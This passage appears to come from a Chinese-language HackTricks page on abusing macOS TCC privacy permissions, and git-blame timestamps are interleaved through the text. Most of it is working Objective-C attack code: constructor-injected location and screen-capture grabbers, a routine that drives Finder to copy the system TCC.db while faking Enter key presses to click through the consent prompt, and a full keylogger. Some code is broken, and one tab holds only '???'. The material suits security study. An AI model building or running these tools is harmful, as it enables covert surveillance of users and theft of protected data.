|
|
|
|
ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
|
|
|
|
|
```
|
|
|
|
|
### 位置
|
|
|
|
|
|
|
|
|
|
{% hint style="success" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
要获取位置信息,必须启用**位置服务**(来自隐私与安全),否则应用程序将无法访问位置信息。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
{% endhint %}
|
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
* **授权**: `com.apple.security.personal-information.location`
|
|
|
|
|
* **TCC**: 已授予在 `/var/db/locationd/clients.plist` 中
|
2023-12-29 14:36:01 +00:00
|
|
|
|
|
|
|
|
|
{% tabs %}
|
|
|
|
|
{% tab title="ObjectiveC" %}
|
2024-01-05 11:51:55 +00:00
|
|
|
|
将位置信息写入 `/tmp/logs.txt`
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
#include <syslog.h>
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
#import <CoreLocation/CoreLocation.h>
|
|
|
|
|
|
|
|
|
|
@interface LocationManagerDelegate : NSObject <CLLocationManagerDelegate>
|
|
|
|
|
@end
|
|
|
|
|
|
|
|
|
|
@implementation LocationManagerDelegate
|
|
|
|
|
|
|
|
|
|
- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray<CLLocation *> *)locations {
|
|
|
|
|
CLLocation *location = [locations lastObject];
|
|
|
|
|
NSLog(@"Current location: %@", location);
|
|
|
|
|
exit(0); // Exit the program after receiving the first location update
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
- (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {
|
|
|
|
|
NSLog(@"Error getting location: %@", error);
|
|
|
|
|
exit(1); // Exit the program on error
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
@end
|
|
|
|
|
|
|
|
|
|
__attribute__((constructor))
|
|
|
|
|
void myconstructor(int argc, const char **argv)
|
|
|
|
|
{
|
|
|
|
|
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|
|
|
|
|
|
|
|
|
NSLog(@"Getting location");
|
|
|
|
|
CLLocationManager *locationManager = [[CLLocationManager alloc] init];
|
|
|
|
|
LocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init];
|
|
|
|
|
locationManager.delegate = delegate;
|
|
|
|
|
|
|
|
|
|
[locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization
|
|
|
|
|
[locationManager startUpdatingLocation];
|
|
|
|
|
|
|
|
|
|
NSRunLoop *runLoop = [NSRunLoop currentRunLoop];
|
|
|
|
|
while (true) {
|
|
|
|
|
[runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
NSLog(@"Location completed successfully.");
|
|
|
|
|
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
|
|
|
|
|
{% tab title="Shell" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
获取访问位置权限
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```
|
|
|
|
|
???
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
{% endtabs %}
|
|
|
|
|
|
|
|
|
|
### 屏幕录制
|
|
|
|
|
|
|
|
|
|
* **权限**: 无
|
|
|
|
|
* **TCC**: `kTCCServiceScreenCapture`
|
|
|
|
|
|
|
|
|
|
{% tabs %}
|
|
|
|
|
{% tab title="ObjectiveC" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
在 `/tmp/screen.mov` 中录制主屏幕 5 秒。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
#import <AVFoundation/AVFoundation.h>
|
|
|
|
|
|
|
|
|
|
// clang -framework Foundation -framework AVFoundation -framework CoreVideo -framework CoreMedia -framework CoreGraphics -o ScreenCapture ScreenCapture.m
|
|
|
|
|
|
|
|
|
|
@interface MyRecordingDelegate : NSObject <AVCaptureFileOutputRecordingDelegate>
|
|
|
|
|
@end
|
|
|
|
|
|
|
|
|
|
@implementation MyRecordingDelegate
|
|
|
|
|
|
|
|
|
|
- (void)captureOutput:(AVCaptureFileOutput *)output
|
|
|
|
|
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
|
|
|
|
|
fromConnections:(NSArray *)connections
|
|
|
|
|
error:(NSError *)error {
|
|
|
|
|
if (error) {
|
|
|
|
|
NSLog(@"Recording error: %@", error);
|
|
|
|
|
} else {
|
|
|
|
|
NSLog(@"Recording finished successfully.");
|
|
|
|
|
}
|
|
|
|
|
exit(0);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
@end
|
|
|
|
|
|
|
|
|
|
__attribute__((constructor))
|
|
|
|
|
void myconstructor(int argc, const char **argv)
|
|
|
|
|
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|
|
|
|
AVCaptureSession *captureSession = [[AVCaptureSession alloc] init];
|
|
|
|
|
AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()];
|
|
|
|
|
if ([captureSession canAddInput:screenInput]) {
|
|
|
|
|
[captureSession addInput:screenInput];
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
AVCaptureMovieFileOutput *fileOutput = [[AVCaptureMovieFileOutput alloc] init];
|
|
|
|
|
if ([captureSession canAddOutput:fileOutput]) {
|
|
|
|
|
[captureSession addOutput:fileOutput];
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
[captureSession startRunning];
|
|
|
|
|
|
|
|
|
|
MyRecordingDelegate *delegate = [[MyRecordingDelegate alloc] init];
|
|
|
|
|
[fileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"/tmp/screen.mov"] recordingDelegate:delegate];
|
|
|
|
|
|
|
|
|
|
// Run the loop for 5 seconds to capture
|
|
|
|
|
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
|
|
|
|
|
[fileOutput stopRecording];
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
CFRunLoopRun();
|
|
|
|
|
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
|
|
|
|
|
{% tab title="Shell" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
记录主屏幕5秒钟
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```bash
|
|
|
|
|
screencapture -V 5 /tmp/screen.mov
|
|
|
|
|
```
|
|
|
|
|
### 辅助功能
|
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
- **权限**: 无
|
|
|
|
|
- **TCC**: `kTCCServiceAccessibility`
|
2023-12-29 14:36:01 +00:00
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
使用 TCC 权限来接受通过按下回车键控制 Finder 并绕过 TCC 的方式
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
#import <ApplicationServices/ApplicationServices.h>
|
|
|
|
|
#import <OSAKit/OSAKit.h>
|
|
|
|
|
|
|
|
|
|
// clang -framework Foundation -framework ApplicationServices -framework OSAKit -o ParallelScript ParallelScript.m
|
|
|
|
|
// TODO: Improve to monitor the foreground app and press enter when TCC appears
|
|
|
|
|
|
|
|
|
|
void SimulateKeyPress(CGKeyCode keyCode) {
|
|
|
|
|
CGEventRef keyDownEvent = CGEventCreateKeyboardEvent(NULL, keyCode, true);
|
|
|
|
|
CGEventRef keyUpEvent = CGEventCreateKeyboardEvent(NULL, keyCode, false);
|
|
|
|
|
CGEventPost(kCGHIDEventTap, keyDownEvent);
|
|
|
|
|
CGEventPost(kCGHIDEventTap, keyUpEvent);
|
|
|
|
|
if (keyDownEvent) CFRelease(keyDownEvent);
|
|
|
|
|
if (keyUpEvent) CFRelease(keyUpEvent);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
void RunAppleScript() {
|
|
|
|
|
NSLog(@"Starting AppleScript");
|
|
|
|
|
NSString *scriptSource = @"tell application \"Finder\"\n"
|
|
|
|
|
"set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias\n"
|
|
|
|
|
"set targetFolder to POSIX file \"/tmp\" as alias\n"
|
|
|
|
|
"duplicate file sourceFile to targetFolder with replacing\n"
|
|
|
|
|
"end tell\n";
|
|
|
|
|
|
|
|
|
|
NSDictionary *errorDict = nil;
|
|
|
|
|
NSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:scriptSource];
|
|
|
|
|
[appleScript executeAndReturnError:&errorDict];
|
|
|
|
|
|
|
|
|
|
if (errorDict) {
|
|
|
|
|
NSLog(@"AppleScript Error: %@", errorDict);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
int main() {
|
|
|
|
|
@autoreleasepool {
|
|
|
|
|
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
|
|
|
|
|
RunAppleScript();
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
// Simulate pressing the Enter key every 0.1 seconds
|
|
|
|
|
NSLog(@"Starting key presses");
|
|
|
|
|
for (int i = 0; i < 10; ++i) {
|
|
|
|
|
SimulateKeyPress((CGKeyCode)36); // Key code for Enter
|
|
|
|
|
usleep(100000); // 0.1 seconds
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
return 0;
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
|
|
|
|
|
{% tab title="键盘记录器" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
将按键存储在 **`/tmp/keystrokes.txt`** 文件中
|
|
|
|
|
{% endtab %}
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
#import <ApplicationServices/ApplicationServices.h>
|
|
|
|
|
#import <Carbon/Carbon.h>
|
|
|
|
|
|
|
|
|
|
// clang -framework Foundation -framework ApplicationServices -framework Carbon -o KeyboardMonitor KeyboardMonitor.m
|
|
|
|
|
|
|
|
|
|
NSString *const kKeystrokesLogPath = @"/tmp/keystrokes.txt";
|
|
|
|
|
|
|
|
|
|
void AppendStringToFile(NSString *str, NSString *filePath) {
|
|
|
|
|
NSFileHandle *fileHandle = [NSFileHandle fileHandleForWritingAtPath:filePath];
|
|
|
|
|
if (fileHandle) {
|
|
|
|
|
[fileHandle seekToEndOfFile];
|
|
|
|
|
[fileHandle writeData:[str dataUsingEncoding:NSUTF8StringEncoding]];
|
|
|
|
|
[fileHandle closeFile];
|
|
|
|
|
} else {
|
|
|
|
|
// If the file does not exist, create it
|
|
|
|
|
[str writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
CGEventRef KeyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
|
|
|
|
|
if (type == kCGEventKeyDown) {
|
|
|
|
|
CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
|
|
|
|
|
|
|
|
|
|
NSString *keyString = nil;
|
|
|
|
|
// First, handle special non-printable keys
|
|
|
|
|
switch (keyCode) {
|
|
|
|
|
case kVK_Return: keyString = @"<Return>"; break;
|
|
|
|
|
case kVK_Tab: keyString = @"<Tab>"; break;
|
|
|
|
|
case kVK_Space: keyString = @"<Space>"; break;
|
|
|
|
|
case kVK_Delete: keyString = @"<Delete>"; break;
|
|
|
|
|
case kVK_Escape: keyString = @"<Escape>"; break;
|
|
|
|
|
case kVK_Command: keyString = @"<Command>"; break;
|
|
|
|
|
case kVK_Shift: keyString = @"<Shift>"; break;
|
|
|
|
|
case kVK_CapsLock: keyString = @"<CapsLock>"; break;
|
|
|
|
|
case kVK_Option: keyString = @"<Option>"; break;
|
|
|
|
|
case kVK_Control: keyString = @"<Control>"; break;
|
|
|
|
|
case kVK_RightControl: keyString = @"<Control>"; break;
|
|
|
|
|
case kVK_RightShift: keyString = @"<Shift>"; break;
|
|
|
|
|
case kVK_RightOption: keyString = @"<Option>"; break;
|
|
|
|
|
case kVK_Function: keyString = @"<Function>"; break;
|
|
|
|
|
case kVK_F1: keyString = @"<F1>"; break;
|
|
|
|
|
case kVK_F2: keyString = @"<F2>"; break;
|
|
|
|
|
case kVK_F3: keyString = @"<F3>"; break;
|
|
|
|
|
// Add more cases here for other non-printable keys...
|
|
|
|
|
default: break; // Not a special non-printable key
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// If it's not a special key, try to translate it
|
|
|
|
|
if (!keyString) {
|
|
|
|
|
UniCharCount maxStringLength = 4;
|
|
|
|
|
UniCharCount actualStringLength = 0;
|
|
|
|
|
UniChar unicodeString[maxStringLength];
|
|
|
|
|
|
|
|
|
|
TISInputSourceRef currentKeyboard = TISCopyCurrentKeyboardInputSource();
|
|
|
|
|
CFDataRef layoutData = TISGetInputSourceProperty(currentKeyboard, kTISPropertyUnicodeKeyLayoutData);
|
|
|
|
|
const UCKeyboardLayout *keyboardLayout = (const UCKeyboardLayout *)CFDataGetBytePtr(layoutData);
|
|
|
|
|
|
|
|
|
|
UInt32 deadKeyState = 0;
|
|
|
|
|
OSStatus status = UCKeyTranslate(keyboardLayout,
|
|
|
|
|
keyCode,
|
|
|
|
|
kUCKeyActionDown,
|
|
|
|
|
0,
|
|
|
|
|
LMGetKbdType(),
|
|
|
|
|
kUCKeyTranslateNoDeadKeysBit,
|
|
|
|
|
&deadKeyState,
|
|
|
|
|
maxStringLength,
|
|
|
|
|
&actualStringLength,
|
|
|
|
|
unicodeString);
|
|
|
|
|
CFRelease(currentKeyboard);
|
|
|
|
|
|
|
|
|
|
if (status == noErr && actualStringLength > 0) {
|
|
|
|
|
keyString = [NSString stringWithCharacters:unicodeString length:actualStringLength];
|
|
|
|
|
} else {
|
|
|
|
|
keyString = [NSString stringWithFormat:@"<KeyCode: %d>", keyCode];
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
NSString *logString = [NSString stringWithFormat:@"%@\n", keyString];
|
|
|
|
|
AppendStringToFile(logString, kKeystrokesLogPath);
|
|
|
|
|
}
|
|
|
|
|
return event;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
int main() {
|
|
|
|
|
@autoreleasepool {
|
|
|
|
|
CGEventMask eventMask = CGEventMaskBit(kCGEventKeyDown);
|
|
|
|
|
CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, KeyboardEventCallback, NULL);
|
|
|
|
|
|
|
|
|
|
if (!eventTap) {
|
|
|
|
|
NSLog(@"Failed to create event tap");
|
|
|
|
|
exit(1);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
|
|
|
|
|
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
|
|
|
|
CGEventTapEnable(eventTap, true);
|
|
|
|
|
CFRunLoopRun();
|
|
|
|
|
}
|
|
|
|
|
return 0;
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
{% endtabs %}
|
|
|
|
|
|
|
|
|
|
{% hint style="danger" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
**辅助功能是一个非常强大的权限**,您可以以其他方式滥用它,例如,您可以执行**按键攻击**,而无需调用系统事件。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
{% endhint %}
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
2024-01-05 11:51:55 +00:00
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
支持HackTricks的其他方式:
|
2023-12-29 14:36:01 +00:00
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
|
|
|
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
|
|
|
|
|
</details>
|